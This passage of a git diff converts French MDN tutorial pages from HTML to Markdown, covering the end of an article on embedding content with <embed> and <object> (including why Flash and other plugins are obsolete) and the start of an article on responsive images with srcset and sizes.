{{glossary("URL")}} du contenu à intégrer | {{htmlattrxref('src','embed')}} | {{htmlattrxref('data','object')}} | +| {{glossary("type MIME", 'type de media')}} _précis_ du contenu intégré | {{htmlattrxref('type','embed')}} | {{htmlattrxref('type','object')}} | +| hauteur et largeur (en pixels CSS) de la boîte contrôlée par le greffon | {{htmlattrxref('height','embed')}} {{htmlattrxref('width','embed')}} | {{htmlattrxref('height','object')}} {{htmlattrxref('width','object')}} | +| noms et valeurs à passer en paramètre au greffon | attributs adéquats avec ces noms et valeurs | éléments de la simple balise {{htmlelement("param")}}, contenus dans `<object>` | +| contenu HTML indépendant en repli en cas de ressources inaccessibles | non pris en charge (`<noembed>` a été abandonné) | contenu dans `<object>`, après `les éléments <param>` | + + + +> **Note :** `<object>` requiert un attribut `data`, un attribut `type`, ou les deux. Si vous utilisez les deux, vous devez aussi utiliser l'attribut {{htmlattrxref('typemustmatch','object')}} (uniquement implémenté dans Firefox, au moment de la rédaction du présent document). `typemustmatch` empêche le fichier incorporé d'être exécuté avant que l'attribut `type` indique le type exact de média. `typemustmatch` peut donc conférer d'importants avantages sur le plan de la sécurité quand vous intégrez du contenu de diverses {{glossary("origin","origines")}} (il peut empêcher un attaquant d'exécuter n'importe quel script par l'intermédiaire du greffon). + +Voici un exemple utilisant l'élément {{htmlelement("embed")}} pour intégrer un film Flash (voyez ceci [en direct sur Github](http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html) ainsi que [le code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html) également): + +```html +<embed src="whoosh.swf" quality="medium" bgcolor="#ffffff" width="550" height="400" name="whoosh" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" - pluginspage="http://www.macromedia.com/go/getflashplayer"></pre> + pluginspage="http://www.macromedia.com/go/getflashplayer"> +``` + +Plutôt horrible, n'est-ce pas ? Le HTML généré par l'outil Adobe Flash avait tendance à être encore pire, utilisant un élément \<objet> avec un élément \<embed> intégré pour couvrir toutes les bases (voir un exemple.) Flash a même été utilisé avec succès comme contenu de repli pour la vidéo HTML5, pendant un certain temps, mais cela est de plus en plus souvent considéré comme non nécessaire. -<p>Plutôt horrible, n'est-ce pas ? Le HTML généré par l'outil Adobe Flash avait tendance à être encore pire, utilisant un élément <objet> avec un élément <embed> intégré pour couvrir toutes les bases (voir un exemple.) Flash a même été utilisé avec succès comme contenu de repli pour la vidéo HTML5, pendant un certain temps, mais cela est de plus en plus souvent considéré comme non nécessaire.</p> +Regardons maintenant un exemple avec `<object>` ; il intègre un PDF dans une (voir [l'exemple en direct](http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html) et le [code source](https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html)) : -<p>Regardons maintenant un exemple avec <code><object></code> ; il intègre un PDF dans une (voir <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html">l'exemple en direct</a> et le <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/object-pdf.html">code source</a>) :</p> +```html +<object data="mypdf.pdf" type="application/pdf" + width="800" height="1200" typemustmatch> + <p>Vous ne possédez pas de greffon PDF, mais vous pouvez <a href="myfile.pdf">télécharger le fichier PDF.</a></p> +</object> +``` -<pre class="brush: html"><object data="mypdf.pdf" type="application/pdf" - width="800" height="1200" typemustmatch> - <p>Vous ne possédez pas de greffon PDF, mais vous pouvez <a href="myfile.pdf">télécharger le fichier PDF.</a></p> -</object></pre> +Les PDF étaient un tremplin nécessaire entre le papier et le numérique, mais ils posent de nombreux [problèmes d'accessibilité](http://webaim.org/techniques/acrobat/acrobat) et peuvent être difficiles à lire sur de petits écrans. Ils ont encore tendance à être populaires dans certains cercles, mais il est préférable d'établir un lien vers eux pour qu'ils puissent être téléchargés ou lus sur une page séparée, plutôt que de les intégrer dans une page Web. -<p>Les PDF étaient un tremplin nécessaire entre le papier et le numérique, mais ils posent de nombreux <a href="http://webaim.org/techniques/acrobat/acrobat">problèmes d'accessibilité</a> et peuvent être difficiles à lire sur de petits écrans. Ils ont encore tendance à être populaires dans certains cercles, mais il est préférable d'établir un lien vers eux pour qu'ils puissent être téléchargés ou lus sur une page séparée, plutôt que de les intégrer dans une page Web.</p> +### Le cas « greffons » -<h3 id="Le_cas_«_greffons_»">Le cas « greffons »</h3> +Il était une fois des greffons qui s'étaient rendus indispensables sur le Web. Vous souvenez-vous de l'époque où vous deviez installer Adobe Flash Player juste pour regarder un film en ligne ? Et puis vous avez constamment reçu des alertes ennuyeuses pour la mise à jour de Flash Player et de votre environnement d'exécution Java. Depuis, les technologies Web sont devenues beaucoup plus robustes, et cette époque est révolue. Pour la plupart des applications, il est temps d'arrêter de diffuser du contenu dépendant de greffons et de commencer à tirer profit des technologies Web à la place. -<p>Il était une fois des greffons qui s'étaient rendus indispensables sur le Web. Vous souvenez-vous de l'époque où vous deviez installer Adobe Flash Player juste pour regarder un film en ligne ? Et puis vous avez constamment reçu des alertes ennuyeuses pour la mise à jour de Flash Player et de votre environnement d'exécution Java. Depuis, les technologies Web sont devenues beaucoup plus robustes, et cette époque est révolue. Pour la plupart des applications, il est temps d'arrêter de diffuser du contenu dépendant de greffons et de commencer à tirer profit des technologies Web à la place.</p> +**Mettez‑vous à portée de tout le monde**. Tout le monde a un navigateur, mais les greffons sont de plus en plus rares, surtout chez les utilisateurs mobiles. Puisque le Web est largement utilisable sans greffons, les gens préfèront aller sur les sites de vos concurrents plutôt que d'installer un greffon. -<p><strong>Mettez‑vous à portée de tout le monde</strong>. Tout le monde a un navigateur, mais les greffons sont de plus en plus rares, surtout chez les utilisateurs mobiles. Puisque le Web est largement utilisable sans greffons, les gens préfèront aller sur les sites de vos concurrents plutôt que d'installer un greffon.</p> +- **Offrez-vous un répit avec les [migraines d'accessibilités supplémentaires](http://webaim.org/techniques/flash/) qui proviennent de Flash et des autres greffons.** +- **Restez à l'écart des risques supplémentaires en matière de sécurité.\*\*** \*\*Adobe Flash est [notoirement](http://www.cvedetails.com/product/6761/Adobe-Flash-Player.html?vendor_id=53) non‑sûr[,](http://www.cvedetails.com/product/6761/Adobe-Flash-Player.html?vendor_id=53) même avec ses innombrables rustines. En 2015, Alex Stamos, chef de la sécurité chez Facebook, a même [demandé qu'Adobe arrête](http://www.theverge.com/2015/7/13/8948459/adobe-flash-insecure-says-facebook-cso)[ Flash.](http://www.theverge.com/2015/7/13/8948459/adobe-flash-insecure-says-facebook-cso) -<ul> - <li><strong>Offrez-vous un répit avec les <a href="http://webaim.org/techniques/flash/">migraines d'accessibilités supplémentaires</a> qui proviennent de Flash et des autres greffons.</strong></li> - <li><strong>Restez à l'écart des risques supplémentaires en matière de sécurité.</strong><strong> </strong>Adobe Flash est <a href="http://www.cvedetails.com/product/6761/Adobe-Flash-Player.html?vendor_id=53">notoirement</a> non‑sûr<a href="http://www.cvedetails.com/product/6761/Adobe-Flash-Player.html?vendor_id=53">,</a> même avec ses innombrables rustines. En 2015, Alex Stamos, chef de la sécurité chez Facebook, a même <a href="http://www.theverge.com/2015/7/13/8948459/adobe-flash-insecure-says-facebook-cso">demandé qu'Adobe arrête</a><a href="http://www.theverge.com/2015/7/13/8948459/adobe-flash-insecure-says-facebook-cso"> Flash.</a></li> -</ul> +Alors, que faire ? Si vous avez besoin d'interactivité, HTML et {{glossary("JavaScript")}} peuvent facilement faire le travail pour vous sans besoin d'applets Java ou d'une technologie ActiveX/BHO dépassée. Au lieu de compter sur Adobe Flash, utilisez la [vidéo HTML5](/fr/docs/Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage) pour vos besoins en médias, [SVG](/fr/docs/Learn/HTML/Howto/Add_vector_image_to_a_webpage) pour les graphiques vectoriels et [Canvas](/fr/docs/Web/API/Canvas_API/Tutorial) pour les images et animations complexes. [Peter Elst écrivait déjà il y a quelques années](https://plus.google.com/+PeterElst/posts/P5t4pFhptvp) qu'Adobe Flash est rarement le bon outil pour le travail, sauf pour les jeux spécialisés et les applications d'affaires. Quant à ActiveX, même le navigateur{{glossary("Microsoft Edge", "Edge")}} de Microsoft ne le prend plus en charge. -<p>Alors, que faire ? Si vous avez besoin d'interactivité, HTML et {{glossary("JavaScript")}} peuvent facilement faire le travail pour vous sans besoin d'applets Java ou d'une technologie ActiveX/BHO dépassée. Au lieu de compter sur Adobe Flash, utilisez la <a href="/fr/docs/Learn/HTML/Howto/Add_audio_or_video_content_to_a_webpage">vidéo HTML5</a> pour vos besoins en médias, <a href="/fr/docs/Learn/HTML/Howto/Add_vector_image_to_a_webpage">SVG</a> pour les graphiques vectoriels et <a href="/fr/docs/Web/API/Canvas_API/Tutorial">Canvas</a> pour les images et animations complexes. <a href="https://plus.google.com/+PeterElst/posts/P5t4pFhptvp">Peter Elst écrivait déjà il y a quelques années</a> qu'Adobe Flash est rarement le bon outil pour le travail, sauf pour les jeux spécialisés et les applications d'affaires. Quant à ActiveX, même le navigateur{{glossary("Microsoft Edge", "Edge")}} de Microsoft ne le prend plus en charge.</p> +## Résumé -<h2 id="Résumé">Résumé</h2> +Le problème de l'intégration de contenus tiers dans des documents web peut rapidement devenir très complexe : dans cet article nous avons donc essayé de le présenter de manière simple et classique — en espérant la méthode pertinente même si elle touche à certaines fonctionnalités parmi les plus avancées des techniques impliquées. Pour commencer, il est peu probable que vous utilisiez l'intégration pour autre chose que l'intégration de contenu tiers de cartes ou vidéos dans vos pages. L'expérience grandissant, il est vraisemblable que vous lui trouverez d'autres utilisations. -<p>Le problème de l'intégration de contenus tiers dans des documents web peut rapidement devenir très complexe : dans cet article nous avons donc essayé de le présenter de manière simple et classique — en espérant la méthode pertinente même si elle touche à certaines fonctionnalités parmi les plus avancées des techniques impliquées. Pour commencer, il est peu probable que vous utilisiez l'intégration pour autre chose que l'intégration de contenu tiers de cartes ou vidéos dans vos pages. L'expérience grandissant, il est vraisemblable que vous lui trouverez d'autres utilisations.</p> +D'autres techniques impliquent l'intégration de contenu externe en plus de celles discutées ici. Nous en avons vu dans des articles précédents, comme {{htmlelement("video")}}}, {{htmlelement("audio")}}, et {{htmlelement("img")}}}, mais il y en a d'autres à découvrir, comme {{htmlelement("canvas")}} pour les graphiques 2D et 3D générés en JavaScript, et {{htmlelement("svg")}} pour intégrer des graphiques vectoriels. Nous verrons SVG dans le prochain article de ce module. -<p>D'autres techniques impliquent l'intégration de contenu externe en plus de celles discutées ici. Nous en avons vu dans des articles précédents, comme {{htmlelement("video")}}}, {{htmlelement("audio")}}, et {{htmlelement("img")}}}, mais il y en a d'autres à découvrir, comme {{htmlelement("canvas")}} pour les graphiques 2D et 3D générés en JavaScript, et {{htmlelement("svg")}} pour intégrer des graphiques vectoriels. Nous verrons SVG dans le prochain article de ce module.</p> -<p> </p> -<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}</p> +{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}} -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> -<ul> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images en HTML</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Contenus audio et Vidéo</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">De <object> à <iframe> — autres techniques d'intégration</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Ajout de graphiques vectoriels dans le Web</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Images adaptatives</a></li> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Écrans d'accueil Mozilla</a></li> -</ul> +## Dans ce module -<p> </p> +- [Images en HTML](/fr/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML) +- [Contenus audio et Vidéo](/fr/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content) +- [De \<object> à \<iframe> — autres techniques d'intégration](/fr/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies) +- [Ajout de graphiques vectoriels dans le Web](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web) +- [Images adaptatives](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) +- [Écrans d'accueil Mozilla](/fr/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page) diff --git a/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.md b/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.md index 29f0d234da..1729cdf87b 100644 --- a/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.md +++ b/files/fr/learn/html/multimedia_and_embedding/responsive_images/index.md @@ -4,233 +4,237 @@ slug: Learn/HTML/Multimedia_and_embedding/Responsive_images translation_of: Learn/HTML/Multimedia_and_embedding/Responsive_images original_slug: Apprendre/HTML/Comment/Ajouter_des_images_adaptatives_à_une_page_web --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}} -<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div> - -<p>Dans cet article, nous allons préciser le concept d'images adaptatives — images qui s'adaptent aux appareils selon les différentes tailles d'écran, résolutions et autres caractéristiques de ce type — et examiner les outils fournis par HTML pour faciliter leur mise en œuvre. Les images adaptatives ne sont qu'une partie (elles préparent le terrain) de la conception de sites web adaptatifs, sujet sur lequel vous en apprendrez beaucoup plus dans un prochain module au sujet des CSS.</p> +Dans cet article, nous allons préciser le concept d'images adaptatives — images qui s'adaptent aux appareils selon les différentes tailles d'écran, résolutions et autres caractéristiques de ce type — et examiner les outils fournis par HTML pour faciliter leur mise en œuvre. Les images adaptatives ne sont qu'une partie (elles préparent le terrain) de la conception de sites web adaptatifs, sujet sur lequel vous en apprendrez beaucoup plus dans un prochain module au sujet des CSS. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devriez connaître <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">les fondamentaux de HTML</a> et <a href="/fr/docs/conflicting/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">comment ajouter des images statiques à une page web</a>.</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Apprendre comment utiliser des fonctionnalités comme <a href="/fr/docs/Web/HTML/Element/Img#attr-srcset"><code>srcset</code></a> et l'élément <a href="/fr/docs/Web/HTML/Element/picture"><code><picture></code></a> pour implémenter des solutions d'images adaptatives sur les sites web.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devriez connaître + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >les fondamentaux de HTML</a + > + et + <a + href="/fr/docs/conflicting/Learn/HTML/Multimedia_and_embedding/Images_in_HTML" + >comment ajouter des images statiques à une page web</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Apprendre comment utiliser des fonctionnalités comme + <a href="/fr/docs/Web/HTML/Element/Img#attr-srcset" + ><code>srcset</code></a + > + et l'élément + <a href="/fr/docs/Web/HTML/Element/picture" + ><code><picture></code></a + > + pour implémenter des solutions d'images adaptatives sur les sites web. + </td> + </tr> + </tbody> </table> -<h2 id="Pourquoi_des_images_adaptatives">Pourquoi des images adaptatives ?</h2> +## Pourquoi des images adaptatives ? -<p>Quel problème essayons-nous de résoudre avec des images adaptatives ? Examinons un scénario typique. Un site web classique a peut-être une image d'en-tête pour flatter le regard des visiteurs, plus peut-être quelques images de contenu plus loin. Imaginons que vous souhaitez que l'image d'en-tête couvre toute la largeur de l'en-tête et que l'image de contenu s'insère quelque part à l'intérieur de la colonne de contenu. Voici un exemple simple :</p> +Quel problème essayons-nous de résoudre avec des images adaptatives ? Examinons un scénario typique. Un site web classique a peut-être une image d'en-tête pour flatter le regard des visiteurs, plus peut-être quelques images de contenu plus loin. Imaginons que vous souhaitez que l'image d'en-tête couvre toute la largeur de l'en-tête et que l'image de contenu s'insère quelque part à l'intérieur de la colonne de contenu. Voici un exemple simple : -<p><img alt="Cet exemple de site est montré tel qu'il s'affiche sur un écran large - ici la première image s'affiche bien, et comme elle est suffisamment grande on voit le détail de l'image (promeneurs) en son centre" src="picture-element-wide.png"></p> + -<p>Cela fonctionne bien sur un appareil avec un grand écran, comme un portable ou un ordinateur de bureau (vous pouvez <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">voir cet exemple en direct</a> et trouver son <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html">code source</a> sur GitHub). Nous ne nous attarderons pas sur les CSS, excepté pour préciser ceci :</p> +Cela fonctionne bien sur un appareil avec un grand écran, comme un portable ou un ordinateur de bureau (vous pouvez [voir cet exemple en direct](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html) et trouver son [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/not-responsive.html) sur GitHub). Nous ne nous attarderons pas sur les CSS, excepté pour préciser ceci : -<ul> - <li>Le contenu du corps a été fixé à une largeur maximale de 1200 pixels — dans les fenêtres de largeur supérieure, il s'affiche sur 1200 pixels et se centre dans l'espace disponible. Dans celles de largeur inférieure, le contenu occupe 100 % de la largeur de la vue.</li> - <li>L'image d'en-tête est définie de sorte que son milieu soit toujours au centre de l'en-tête, quelle que soit sa largeur. Ainsi, si le site est regardé sur un écran moins large, le détail important au centre de l'image (les gens) peut toujours être vu, et l'excès est perdu de part et d'autre. L'image a une hauteur de 200 pixels.</li> - <li>Les images de contenu sont définies de sorte que si l'élément corps devient plus petit que l'image, les images se contractent pour rester toujours à l'intérieur du corps sans jamais déborder.</li> -</ul> +- Le contenu du corps a été fixé à une largeur maximale de 1200 pixels — dans les fenêtres de largeur supérieure, il s'affiche sur 1200 pixels et se centre dans l'espace disponible. Dans celles de largeur inférieure, le contenu occupe 100 % de la largeur de la vue. +- L'image d'en-tête est définie de sorte que son milieu soit toujours au centre de l'en-tête, quelle que soit sa largeur. Ainsi, si le site est regardé sur un écran moins large, le détail important au centre de l'image (les gens) peut toujours être vu, et l'excès est perdu de part et d'autre. L'image a une hauteur de 200 pixels. +- Les images de contenu sont définies de sorte que si l'élément corps devient plus petit que l'image, les images se contractent pour rester toujours à l'intérieur du corps sans jamais déborder. -<p>Tout cela c'est très bien, mais le problème apparaît lorsque vous commencez à regarder le site sur un écran étroit — l'en-tête semble correct, mais commence à prendre beaucoup de hauteur pour un mobile, et la première image de contenu d'autre part n'est pas terrible — à cette taille, vous avez du mal à distinguer les personnes !</p> +Tout cela c'est très bien, mais le problème apparaît lorsque vous commencez à regarder le site sur un écran étroit — l'en-tête semble correct, mais commence à prendre beaucoup de hauteur pour un mobile, et la première image de contenu d'autre part n'est pas terrible — à cette taille, vous avez du mal à distinguer les personnes ! -<p><img alt="Notre site d'exemple vu sur un écran étroit la première image est réduite à telle point qu'il est difficile d'y voir les détails." src="non-responsive-narrow.png"></p> + -<p>Quand le site est vu sur un écran étroit, il serait préférable de montrer une version recadrée de l'image sur les parties importantes de la vue au lieu de faire voir des bâtiments, et peut-être quelque chose entre les deux pour un écran de largeur moyenne comme une tablette — ce problème relève de <strong>décisions de nature artistique</strong>.</p> +Quand le site est vu sur un écran étroit, il serait préférable de montrer une version recadrée de l'image sur les parties importantes de la vue au lieu de faire voir des bâtiments, et peut-être quelque chose entre les deux pour un écran de largeur moyenne comme une tablette — ce problème relève de **décisions de nature artistique**. -<p>De plus, il n'est pas nécessaire d'intégrer des images aussi volumineuses sur une page destinée à être affichée sur l'écran minuscule d'un mobile ; c'est le problème des <strong>changements de résolution</strong> — une image matricielle est définie sur un certain nombre de pixels de large et un certain nombre de pixels de haut ; comme on a pu le voir à propos des <a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">graphiques vectoriels</a>, une image matricielle paraît pixelisée si elle est affichée plus grande que sa taille d'origine (alors qu'un graphique vectoriel ne l'est pas).</p> +De plus, il n'est pas nécessaire d'intégrer des images aussi volumineuses sur une page destinée à être affichée sur l'écran minuscule d'un mobile ; c'est le problème des **changements de résolution** — une image matricielle est définie sur un certain nombre de pixels de large et un certain nombre de pixels de haut ; comme on a pu le voir à propos des [graphiques vectoriels](/fr/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web), une image matricielle paraît pixelisée si elle est affichée plus grande que sa taille d'origine (alors qu'un graphique vectoriel ne l'est pas). -<p>Et si elle est montrée significativement plus petite que sa taille d'origine, c'est un gaspillage de bande passante — les personnes utilisant des navigateurs mobiles en particulier ne veulent pas gaspiller leur bande passante en téléchargeant une grande image destinée à des ordinateurs de bureau, alors qu'une petite image ferait l'affaire pour leur appareil. La solution idéale serait d'avoir plusieurs résolutions disponibles et de servir des tailles appropriées selon le type d'appareil accédant au site web.</p> +Et si elle est montrée significativement plus petite que sa taille d'origine, c'est un gaspillage de bande passante — les personnes utilisant des navigateurs mobiles en particulier ne veulent pas gaspiller leur bande passante en téléchargeant une grande image destinée à des ordinateurs de bureau, alors qu'une petite image ferait l'affaire pour leur appareil. La solution idéale serait d'avoir plusieurs résolutions disponibles et de servir des tailles appropriées selon le type d'appareil accédant au site web. -<p>Pour compliquer encore plus les choses, certains appareils ont des écrans à haute résolution, écrans qui ont besoin d'images plus grandes que ce à quoi on pourrait s'attendre pour s'afficher correctement. Il s'agit pratiquement du même problème, mais dans un contexte légèrement différent.</p> +Pour compliquer encore plus les choses, certains appareils ont des écrans à haute résolution, écrans qui ont besoin d'images plus grandes que ce à quoi on pourrait s'attendre pour s'afficher correctement. Il s'agit pratiquement du même problème, mais dans un contexte légèrement différent. -<p>Vous pouvez penser que des images vectorielles sont la solution à ces problèmes : elles le sont dans une certaine mesure — elles sont à la fois de petite taille et se mettent à l'échelle. Utilisez‑les partout où c'est possible. Mais elles ne conviennent pas à tous les types d'images — parfaites pour des graphiques simples, des motifs, des éléments d'interface, etc., il devient très compliqué de créer une image vectorielle avec le genre de détails que l'on trouve dans une photo, par exemple. Les formats matriciels comme JPEG sont plus adaptés au type d'images affiché dans l'exemple ci-dessus.</p> +Vous pouvez penser que des images vectorielles sont la solution à ces problèmes : elles le sont dans une certaine mesure — elles sont à la fois de petite taille et se mettent à l'échelle. Utilisez‑les partout où c'est possible. Mais elles ne conviennent pas à tous les types d'images — parfaites pour des graphiques simples, des motifs, des éléments d'interface, etc., il devient très compliqué de créer une image vectorielle avec le genre de détails que l'on trouve dans une photo, par exemple. Les formats matriciels comme JPEG sont plus adaptés au type d'images affiché dans l'exemple ci-dessus. -<p>Ce type de problème n'existait pas quand le web a vu le jour, du début jusqu'au milieu des années 90 — à l'époque, les seuls appareils permettant de naviguer sur le web étaient les ordinateurs de bureau et les portables, de sorte que les ingénieurs et rédacteurs de spécifications pour les navigateurs ne pouvaient même pas imaginer l'existence de ces problèmes. Pour résoudre les problèmes indiqués ci-dessus, les techniques d'images adaptatives sont de mise en œuvre récente : elles offrent au navigateur plusieurs fichiers d'images, soit montrant tous la même chose mais avec un nombre de pixels différent (commutation de résolution), soit des images différentes selon l'espace alloué (décisions artistiques).</p> +Ce type de problème n'existait pas quand le web a vu le jour, du début jusqu'au milieu des années 90 — à l'époque, les seuls appareils permettant de naviguer sur le web étaient les ordinateurs de bureau et les portables, de sorte que les ingénieurs et rédacteurs de spécifications pour les navigateurs ne pouvaient même pas imaginer l'existence de ces problèmes. Pour résoudre les problèmes indiqués ci-dessus, les techniques d'images adaptatives sont de mise en œuvre récente : elles offrent au navigateur plusieurs fichiers d'images, soit montrant tous la même chose mais avec un nombre de pixels différent (commutation de résolution), soit des images différentes selon l'espace alloué (décisions artistiques). -<div class="note"> - <p><strong>Note :</strong> Toutes les nouvelles fonctionnalités présentées dans cet article — <a href="/fr/docs/Web/HTML/Element/Img#attr-srcset"><code>srcset</code></a>/<a href="/fr/docs/Web/HTML/Element/Img#attr-sizes"><code>sizes</code></a>/<a href="/fr/docs/Web/HTML/Element/picture"><code><picture></code></a> — sont toutes prises en charge dans les versions de navigateurs récemment publiées pour les ordinateurs de bureau et pour les mobiles (y compris le navigateur Edge de Microsoft, même si ce n'est pas le cas d'Internet Explorer).</p> -</div> +> **Note :** Toutes les nouvelles fonctionnalités présentées dans cet article — [`srcset`](/fr/docs/Web/HTML/Element/Img#attr-srcset)/[`sizes`](/fr/docs/Web/HTML/Element/Img#attr-sizes)/[`<picture>`](/fr/docs/Web/HTML/Element/picture) — sont toutes prises en charge dans les versions de navigateurs récemment publiées pour les ordinateurs de bureau et pour les mobiles (y compris le navigateur Edge de Microsoft, même si ce n'est pas le cas d'Internet Explorer). -<h2 id="Comment_créer_des_images_adaptatives">Comment créer des images adaptatives ?</h2> +## Comment créer des images adaptatives ? -<p>Dans ce paragraphe, nous allons examiner les deux problèmes illustrés ci-dessus et montrer comment les résoudre à l'aide des fonctions d'images adaptatives du HTML. Notez que nous nous focaliserons sur l'élément <a href="/fr/docs/Web/HTML/Element/Img"><code><img></code></a> du HTML dans cette section, comme vous avez pu le voir dans la zone de contenu de l'exemple ci-dessus — l'image d'en-tête du site n'est là que pour la décoration, et donc implémenté en utilisant des images de fond du CSS. CSS a <a href="http://blog.cloudfour.com/responsive-images-101-part-8-css-images/">sans doute de meilleurs outils </a>que le HTML pour la conception adaptative : nous en parlerons dans le module CSS à venir.</p> +Dans ce paragraphe, nous allons examiner les deux problèmes illustrés ci-dessus et montrer comment les résoudre à l'aide des fonctions d'images adaptatives du HTML. Notez que nous nous focaliserons sur l'élément [`<img>`](/fr/docs/Web/HTML/Element/Img) du HTML dans cette section, comme vous avez pu le voir dans la zone de contenu de l'exemple ci-dessus — l'image d'en-tête du site n'est là que pour la décoration, et donc implémenté en utilisant des images de fond du CSS. CSS a [sans doute de meilleurs outils ](http://blog.cloudfour.com/responsive-images-101-part-8-css-images/)que le HTML pour la conception adaptative : nous en parlerons dans le module CSS à venir. -<h3 id="Commutations_de_résolution_tailles_différentes">Commutations de résolution : tailles différentes</h3> +### Commutations de résolution : tailles différentes -<p>Alors, quel est le problème à résoudre à l'aide des commutations de résolution ? Nous voulons afficher un contenu d'image identique, juste plus grand ou plus petit selon l'appareil — c'est la situation de la deuxième image du contenu de notre exemple précédent. L'élément standard <a href="/fr/docs/Web/HTML/Element/Img"><code><img></code></a> vous permet classiquement de ne faire pointer le navigateur que vers un seul fichier source :</p> +Alors, quel est le problème à résoudre à l'aide des commutations de résolution ? Nous voulons afficher un contenu d'image identique, juste plus grand ou plus petit selon l'appareil — c'est la situation de la deuxième image du contenu de notre exemple précédent. L'élément standard [`<img>`](/fr/docs/Web/HTML/Element/Img) vous permet classiquement de ne faire pointer le navigateur que vers un seul fichier source : -<pre class="brush: html"><img src="elva-fairy-800w.jpg" alt="Elva habillée en fée"></pre> +```html +<img src="elva-fairy-800w.jpg" alt="Elva habillée en fée"> +``` -<p>Mais il est possible d'utiliser deux nouveaux attributs — <a href="/fr/docs/Web/HTML/Element/Img#attr-srcset"><code>srcset</code></a> et <a href="/fr/docs/Web/HTML/Element/Img#attr-sizes"><code>sizes</code></a> — permettant de fournir plusieurs images source avec des indications pour permettre au navigateur de faire le bon choix. Vous trouverez un exemple de cela dans le fichier <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> sur GitHub (voyez aussi le <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html">code source</a>) :</p> +Mais il est possible d'utiliser deux nouveaux attributs — [`srcset`](/fr/docs/Web/HTML/Element/Img#attr-srcset) et [`sizes`](/fr/docs/Web/HTML/Element/Img#attr-sizes) — permettant de fournir plusieurs images source avec des indications pour permettre au navigateur de faire le bon choix. Vous trouverez un exemple de cela dans le fichier [responsive.html](https://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html) sur GitHub (voyez aussi le [code source](https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html)) : -<pre class="brush: html"> -<img srcset="elva-fairy-480w.jpg 480w, +```html +<img srcset="elva-fairy-480w.jpg 480w, elva-fairy-800w.jpg 800w" sizes="(max-width: 600px) 480px, 800px" src="elva-fairy-800w.jpg" - alt="Elva dressed as a fairy"> -</pre> + alt="Elva dressed as a fairy"> +``` + +Les attributs `srcset` et `sizes` paraissent complexes, mais ils ne sont pas difficiles à comprendre si vous les formatez comme indiqué ci-dessus, avec une partie différente de la valeur de l'attribut sur chaque ligne. Chaque valeur contient une liste séparée par des virgules et chaque partie de la liste est composée de trois sous-parties. Passons maintenant en revue leur contenu. + +**`srcset`** définit l'ensemble des images offertes au choix du navigateur, et la taille de chaque image. Avant chaque virgule, nous avons écrit : -<p>Les attributs <code>srcset</code> et <code>sizes</code> paraissent complexes, mais ils ne sont pas difficiles à comprendre si vous les 